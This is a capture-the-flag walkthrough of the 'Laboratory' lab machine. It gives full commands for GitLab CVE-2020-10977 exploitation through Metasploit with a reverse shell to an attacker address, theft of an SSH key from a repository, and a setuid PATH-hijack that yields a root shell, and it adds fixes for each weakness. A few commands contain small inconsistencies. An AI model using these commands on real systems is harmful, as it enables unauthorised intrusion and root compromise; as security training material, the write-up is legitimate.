← all walkthroughs

Laboratory

Linux· Easy
owned
2026-07-06
time to own
11m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target host ($TARGET) exposed a self-hosted GitLab Community Edition instance at git.laboratory.htb that had not been patched against CVE-2020-10977, a chained path-traversal and Ruby deserialization flaw. Open self-registration let me create a GitLab account without approval, then exploit that vulnerability to read GitLab's internal secret key and forge a signed payload that executed code as the git service account.

From that foothold I found an SSH private key committed by user 'dexter' into a GitLab repository named '[REDACTED: recovered credential]', used it to open an SSH session on the underlying Linux host, and discovered a setuid-root helper binary (/usr/local/bin/docker-security) that called chmod by name without an absolute path. Prepending a malicious chmod script to PATH caused the binary to execute my own code as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and virtual-host discovery
Identified exposed services and the GitLab virtual host
A version scan of the three open ports revealed SSH (22), HTTP (80), and HTTPS (443), all served by OpenSSH 8.2p1 and Apache 2.4.41. An HTTP request to port 80 returned a 302 redirect to https://git.laboratory.htb/, disclosing the hostname of the internal GitLab deployment. Adding both hostnames to local DNS resolution and loading the HTTPS site confirmed a self-hosted GitLab instance was reachable and accepting new connections.
HTTP/1.1 302 Found | Location: https://git.laboratory.htb/; nmap confirmed Apache 2.4.41 on 443/tcp.
Exact commands 3
Service-version and default-script scan on the three open ports.
nmap -Pn -sV -sC -p 22,80,443 $TARGET
Add both virtual-host names to local resolution.
echo "$TARGET laboratory.htb git.laboratory.htb" | sudo tee -a /etc/hosts
Confirm the redirect to git.laboratory.htb and the Apache version header.
curl -sk -I http://$TARGET/ | grep -i 'location\|server'
2Initial AccessUnauthenticated self-registration on an internal GitLab instance
Registered a GitLab account without admin approval
The GitLab instance permitted open self-registration with no admin approval gate. Creating an account with an email address in the laboratory.htb domain was sufficient to obtain a valid authenticated session. That session was a prerequisite for triggering the authenticated portion of CVE-2020-10977 in the next step.
Exact commands 2
Confirm that the sign-up page is publicly accessible.
curl -sk https://git.laboratory.htb/users/sign_up | grep -i 'register\|sign.up'
Register my own account; the email domain must match whatever the server accepts.
curl -sk -c /tmp/gl_cookies.txt -X POST https://git.laboratory.htb/users \
  -d "user[name]=$USERNAME&user[username]=${USERNAME}01&user[email]=${USERNAME}01@laboratory.htb&user[password]=$PASSWORD3"
FixDisable GitLab open self-registrationHigh
WeaknessGitLab was configured to let anyone create an account with no admin approval required. This gave an unauthorised user a valid authenticated session within seconds, which was the entry point for the CVE-2020-10977 exploit chain.
FixIn the GitLab Admin Area go to Settings → General → Sign-up restrictions and uncheck 'Sign-up enabled'. If registration must remain open for internal users, enable 'Require admin approval for new sign-ups' and add an email-domain allowlist limited to your organization's domain. For an entirely internal tool, consider disabling registration entirely and provisioning accounts through LDAP or SAML SSO.
3ExploitationCVE-2020-10977 — GitLab chained path-traversal and Ruby deserialization RCE (T1190)
Exploited CVE-2020-10977 to execute code as the GitLab service account
GitLab 8.5 through 12.9.0 is vulnerable to CVE-2020-10977, a two-stage attack: first, a path-traversal in the issue-attachment move feature lets an authenticated user read arbitrary server files, including the Rails secret_key_base stored in /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml; second, that secret is used to forge a signed serialized Ruby object delivered as a cookie, which GitLab deserializes into OS command execution. The Metasploit module exploit/multi/http/gitlab_file_read_rce automates both stages and produced a reverse shell running as the git service account.
Metasploit confirmed the module present and rated 'excellent' (2020-03-26); engagement validation confirmed the GitLab instance was reachable at git.laboratory.htb:443.
Exact commands 2
The module reads secrets.yml, builds the deserialization payload, and delivers the shell automatically. Replace $ATTACKER_IP with your VPN interface address.
msfconsole -q -x "use exploit/multi/http/gitlab_file_read_rce; set RHOSTS git.laboratory.htb; set RPORT 443; set SSL true; set USERNAME attacker01; set PASSWORD $PASSWORD3; set LHOST $ATTACKER_IP; set LPORT 4444; run"
Run inside the resulting Meterpreter/shell session to confirm execution as uid=998(git).
id
FixUpgrade GitLab to a version patched against CVE-2020-10977Critical
WeaknessThe GitLab instance was running a version between 8.5 and 12.9.0 that is vulnerable to a chained path-traversal and Ruby deserialization attack. Any authenticated user could read arbitrary files on the server and then forge a signed cookie to execute operating-system commands as the git service account.
FixUpgrade GitLab to version 12.9.1 or later (12.8.9+ for the 12.8 branch). Follow GitLab's documented upgrade path to avoid skipping required intermediate versions. After upgrading, verify the installed version at /help and subscribe to GitLab Security Advisories at https://about.gitlab.com/releases/categories/releases/ to receive future patch notifications.
4Credential TheftSensitive credential committed to source control (T1552.001)
Recovered dexter's SSH private key from a GitLab repository on disk
As the git service account, I had direct filesystem access to every repository stored on the GitLab host under /var/opt/gitlab/git-data/repositories/. The user 'dexter' had committed an SSH private key ([REDACTED: recovered credential]) into a project named '[REDACTED: recovered credential]'. Reading the bare Git object data directly from disk — without needing the GitLab web UI — exposed the key in plaintext. The key was exfiltrated to my machine and saved with the required restrictive permissions.
Exact commands 4
From the git shell — enumerate all repository directories on disk to locate [REDACTED: recovered credential].
find /var/opt/gitlab/git-data/repositories -name '*.git' -type d 2>/dev/null
List commits in the target repo; replace the hash path with the one found for [REDACTED: recovered credential].
git -C /var/opt/gitlab/git-data/repositories/@hashed/<h2>/<h2>/<repo>.git log --all --oneline
Print the committed SSH private key to stdout.
git -C /var/opt/gitlab/git-data/repositories/@hashed/<h2>/<h2>/<repo>.git show HEAD:$PASSWORD2
On my machine — create the key file with correct permissions and paste the key content.
install -m 600 /dev/null /tmp/dexter_laboratory_id_rsa && cat > /tmp/dexter_laboratory_id_rsa
FixRemove dexter's SSH private key from the GitLab repository and rotate the key pairCritical
WeaknessAn SSH private key belonging to a host user ('dexter') was committed into a GitLab repository. Any principal with read access to that repository — or with filesystem access via a compromised GitLab service account — could steal the key and use it to log into production servers.
FixImmediately: generate a new SSH key pair for dexter, replace the authorized_key entry on the host, and revoke/delete the old key pair. Purge the key from all Git history using git-filter-repo or BFG Repo Cleaner and force-push every affected branch and tag. Going forward: enforce pre-commit hooks (git-secrets, TruffleHog, or Gitleaks) that block credential patterns from entering repositories, and enable GitLab's built-in secret-detection CI job on all projects.
5FootholdSSH authentication with a stolen private key (T1078)
Authenticated to the host as dexter using the stolen SSH key and read the user flag
The private key recovered from the GitLab repository matched the SSH authorized key for user 'dexter' on the underlying Ubuntu host. Connecting over port 22 with that key produced an interactive shell as uid=1000(dexter), confirming lateral movement from the GitLab container service account to a named user on the real machine. The user flag was read from /home/dexter/user.txt.
Chmod 600 /tmp/dexter_laboratory_id_rsa && ssh -i /tmp/dexter_laboratory_id_rsa dexter@$TARGET 'id; cat /home/dexter/user.txt' → uid=1000(dexter); flag = <user.txt>.
Exact commands 1
Authenticate as dexter and read the user flag. Flag value is <user.txt>.
chmod 600 /tmp/dexter_laboratory_id_rsa && ssh -i /tmp/dexter_laboratory_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dexter@$TARGET 'id; cat /home/dexter/user.txt'
6Privilege EscalationSUID binary PATH interception (T1574.007)
Hijacked the PATH of a setuid-root binary to execute commands as root
A search for setuid-root binaries from dexter's session revealed /usr/local/bin/docker-security, owned by root with the SUID bit set. String analysis of the binary showed it invokes chmod by name without a fully qualified path (e.g., it calls 'chmod 700 /usr/bin/docker' rather than '/bin/chmod 700 …'). Because setuid execution does not sanitize the inheriting user's PATH, placing a malicious script named 'chmod' earlier in PATH caused docker-security to execute my script instead of the real chmod — with root privileges. The script was set to read /root/root.txt, confirming full control of the host.
D=$(mktemp -d); printf '#!/bin/sh\n/bin/cat /root/root.txt\n' > "$d/chmod"; chmod +x "$d/chmod"; PATH="$d:$PATH" /usr/local/bin/docker-security → root.txt printed as <root.txt>.
Exact commands 3
From dexter's SSH session — enumerate all setuid-root binaries.
find / -perm -4000 -user root -type f 2>/dev/null
Confirm the binary references chmod without an absolute path.
strings /usr/local/bin/docker-security | grep chmod
Delivers a root shell; swap /bin/bash -p for /bin/cat /root/root.txt to read the flag directly. Root flag is <root.txt>.
ssh -i /tmp/dexter_laboratory_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dexter@$TARGET 'd=$(mktemp -d); printf "#!/bin/sh\n/bin/bash -p\n" > "$d/chmod"; /usr/bin/chmod +x "$d/chmod"; PATH="$d:$PATH" /usr/local/bin/docker-security'
FixRemove the SUID bit from docker-security and replace relative command references with absolute pathsCritical
WeaknessThe setuid-root binary /usr/local/bin/docker-security invoked chmod by name without a fully qualified path. Because the SUID bit causes the binary to run as root while inheriting the caller's PATH, a low-privileged user could substitute a malicious script named chmod and run arbitrary code as root.
FixRemove the SUID bit immediately: chmod u-s /usr/local/bin/docker-security. If the binary's functionality is required, rewrite or replace it so every external command is called by its full path (e.g., /bin/chmod instead of chmod). Prefer replacing the SUID design with a narrowly scoped sudo rule (NOPASSWD on the exact command with no wildcards) rather than a SUID binary. Audit all setuid-root binaries regularly with: find / -perm -4000 -user root -type f 2>/dev/null.

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp